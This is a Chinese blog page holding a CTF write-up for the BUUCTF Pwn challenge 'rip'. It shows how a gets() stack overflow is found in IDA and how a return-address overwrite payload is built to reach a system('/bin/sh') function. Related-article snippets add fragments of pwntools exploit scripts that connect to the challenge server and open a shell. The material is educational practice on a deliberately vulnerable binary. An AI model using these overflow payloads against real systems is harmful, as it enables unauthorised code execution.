BUUCTF-Pwn-rip

最新推荐文章于 2025-07-31 19:26:35 发布
最新推荐文章于 2025-07-31 19:26:35 发布
阅读量2.9k 收藏 3
点赞数
CC 4.0 BY-SA版权
分类专栏： CTF Pwn 文章标签： 安全 web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_46035101/article/details/121318327
本文通过IDA分析CTF的Pwn题，揭示了栈溢出漏洞的存在，并指导如何构造payload来执行特定函数获取shell，从而解题。在过程中遇到了Python3中p64函数的格式问题，通过调整解决了转换为字符串格式的需求。

题目截图
题目截图
使用IDA打开附件，反汇编为C语言找到两个函数
函数1
函数2
可以看到主函数中定义了一个字符类型的变量s（这里IDA出了点问题，实际上应该是char s[15]），并使用gets()对其进行赋值，那么这里便存在栈溢出的漏洞，我们只需要想办法执行函数fun()就可以获得shell，进而获得flag，从IDA中可以看出定义s的大小为15个字节
s的大小
所以到达到溢出的目标位置就需要填充15+8=23个字节，另外从IDA中可以看出fun()的起始地址为0x401186
fun()
所以我们可以构造payload=‘a’*23+p64(0x401186)
编写脚本

from pwn import *

p
最低0.47元/天 解锁文章

200万优质内容无限畅学
BUUCTF pwn rip
weixin_55190422的博客
11-03 456
现在开始是记录我个人对BUU上PWN题的刷题记录。 首先是一个ELF文件，放到Linux里面来看。 首先老套路checksec一下 接着我们将这个文件放到IDA中静态分析、 shift F12 一下看看敏感字段 我们发现里面有个系统调用函数。我们查看下汇编代码 我们查看Stack of main 视图发现只要存入15个字节就可以返回fun函数 所以payload: from pwn import * p = remote('node4.buuoj.cn',...
【BUUCTF - PWN】rip
古月浪子的博客
03-19 1745
checksec一下，发现啥保护也没开 IDA打开看看，明显的栈溢出漏洞，IDA给出了s的长度为0xf 发现后门函数 脚本中使用地址0x401186发现不行（不知道为什么），换成0x401187发现可以 from pwn import * from LibcSearcher import * context.os='linux' context.arch='amd64' context.l...
buuctf pwn-rip
最新发布
2501_91264017的博客
07-31 307
看到他所在的地址 0x401162。接下来看输出的位置 即+008的地址。首先要注意的是输入的位置 即rdi的地址。换成十进制就是23，所以需要23个杂值。当然你还可以在ida直接看出来。可以看到我们的目标地址成功写入。下完断点就是执行，就输入r。注意，如果出现权限不够，输入。这里是0x17 这是16进制。接下来就是写脚本来获得权限。首先要有pwn所需的环境。双击main函数按F5。还需要一个工具IDA。这样就能够看到源代码。接下来分析C语言代码。
buuctf PWN rip
wp568的博客
10-04 147
fun函数的地址是0x401186。下载pwn1 用IDA打开。
[BUUCTF-pwn]——rip
Y_peak的博客
01-30 1329
BUUCTF——rip 题目地址：https://buuoj.cn/challenges 题目： 同样我们现将文件下载下来，在Linux上用checksec 看下信息，发现这是一个64位程序，并且任何保护都没开。???? (任何保护都没开，基本就是栈溢出) 在window用IDA反汇编看看，打扰了main函数没有任何有用的东西，没有我们要找的system函数 看看其他函数看看有没有，功夫不负有心人。fun函数中，有我们想要的东西 赶快查看下fun函数所在的位置 0x401186 。我们看到是在0x
BUUCTF PWN-RIP详解
weixin_43780092的博客
09-07 6365
BUU CTF PWN 入门知识详解
BUUCTF pwn——rip
CNS-Enterprise BCC-1701-J
03-10 390
BUUCTF 做题练习
BUUCTF-rip 尝试PWN入门
brightendavid的博客
05-04 1733
BUUCTF-rip 拿到的是一个什么呢，感觉是一个小系统？ 但是也就是一个小程序嘛。 这个程序就是执行一个输入输出 的命令。但是这里面存在漏洞。 这个s是15byte的字符 在fun部分有一个/bin/sh 这个据说是一个系统级函数，为什么说是系统级函数呢，因为有一个system吧。 一般会是什么用都没有。 但是在使用这样的一个payload后,就可以利用，也不知道这个pwn 库是做了什么。感觉像是变魔术。要刚好把堆栈覆盖到这个系统函数的位置？是不是这个解释呢。 #python3 需要预先安
BUUCTF PWN rip1 WP
m0_54262894的博客
07-31 2951
BUUCTF PWN rip 1 这是一个WP，也是一个自己练习过程的记录。 先把文件放入pwn机中检查一下，发现并没有开启保护，所以应该是一道简单题 我们运行一下试试，它让你输入一段字符然后将字符输出。 把文件放在ida中查看一下 发现main函数并不复杂，只是定义了一个 s ，而且我们很容易就能找到栈溢出的点，我们都知道gets函数是一个危险函数，对于我们来说它可以接受到无限的字符，所以这里就是我们要pwn掉的点。 我们双击 s ，看它有多少空...
BUUCTF 【Pwn】rip 解题步骤
2301_81505831的博客
01-25 1142
查看之后发现是64位的ELF文件，直接放入IDA64进行反编译。
BUUCTF-PWN刷题日记(一)
weixin_45461609的博客
04-30 1586
BUUCTF-PWN刷题日记rip rip 简单的栈溢出 #coding=utf-8 from pwn import* #r = process('./pwn1') r = remote('node3.buuoj.cn',26123) sys_addr = 0x401186 #address of fun payload = 'a'*(0xf+8) + p64(sys_addr) r.sendli...
BUUCTF(Pwn) rip
半岛铁盒的博客
03-20 590
按tab键,看一下 fun函数 发现其地址是 0x401186; 但是写EXP不能直接用这个地址,需要使用0x40118A这个地址,system函数是在0x40118A压参数然后执行 from pwn import * p = remote('node3.buuoj.cn', '25677') payload = 'a' * (0xf + 8) + p64(0x40118A) p.sendline(payload) p.interactive() ...
BUUCTF Pwn rip
weixin_41557838的博客
05-27 456
BUUCTF Pwn rip
BUUCTF_PWN - rip
weixin_46009088的博客
12-06 817
BUUCTF_PWN - rip 查看程序保护模式和文件基本信息： 没有什么保护，各条保护详情介绍请看胡写瞎写(1) pwntools常见命令，另外文件是64位小端程序 IDA载入 找到main函数F5： 发现一个 gets ( ) 函数，一个可以利用的漏洞点，gets ( ) 函数介绍： get( )函数简单易用，它读取从输入流中读取一行，赋给字符串变量s，直到遇到换行符，然后丢弃换行符，存储其余的字符，并在结尾添加一个空字符使其成为一个 C 字符串，但是它无法检查数组是否装的下，因此它只知道开始处，.
BUUCTF (PWN) RIP详细分析
热门推荐
qy201706的博客
04-08 1万+
很简单的栈溢出，不过对于栈溢出具体过程不理解的会卡的很惨； 由于初学嘛，就看了网上的wp，好像都是之前版本的，现在用就不太对，可能我入坑BUUCTF比较晚，现在用的题都是运行在Ubuntu18上的，故需要考虑堆栈平衡~~
[BUUCTF-PWN] rip
m0_46098032的博客
01-02 264
下载文件，checksec查看一下文件，64位文件，没有开启任何保护。 用IDA64位打开文件，反编译main函数，看到了gets函数，gets函数存在栈溢出漏洞。 双击s，可以看到现只需存入15个字节即可劫持函数返回地址。 我们同时可以看到存在一个fun函数。就是一个系统调用。 查看一下fun函数的地址，为0x401186 exp如下： from pwn import * p = remote('node4.buuoj.cn', :9228) payload = b.
初学pwn-BUUCTF(rip)
天柱的博客
08-30 2863
初学pwn-writeUp BUUCTF平台的一道题目，rip。 与之前同样的步骤，启动靶机，链接远端 发现这里提示输入一些内容，但是输入完成之后，这里就结束了。还是要打开文件查看一下。 看到这里，只有一个输入的过程可以操作，那就很清楚了，就是要栈溢出了。点进去看一下。 可以看到这里s这个数组是15个字节，到r这个返回值还需要8个字节。不过这里要注意的一点是，这个15是十进制的，不能像之前再在数字之前加0x标记十六进制，这里可以直接写十进制。 摁shift+f12，可以看到这时还有什么地址可能会用到，
BUUCTF pwn题 rip
Cfoxer的博客
02-15 336
计算覆盖位数,因为get内容为s所以此处应该为s位数15(0xf-0x0),加上rbp(栈底指针寄存器)大小8位,一共为23位。直接得到思路,栈溢出覆盖rip,使返回地址变成fun函数的地址,执行systen(/bin/sh),getshell。查看main函数发现危险函数gets推断为栈溢出漏洞。发现文件为64位elf可执行文件。发现并没有开启任何的保护。
buuctf-pwn入门
01-26
### BUUCTF PWN 类题目入门教程 #### 学习资源推荐 对于希望进入PWN挑战领域的新手来说，选择合适的教材和平台至关重要。王爽老师的《汇编语言》提供了基础理论支持，有助于理解底层操作原理[^1]。此外，《IDA Pro...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值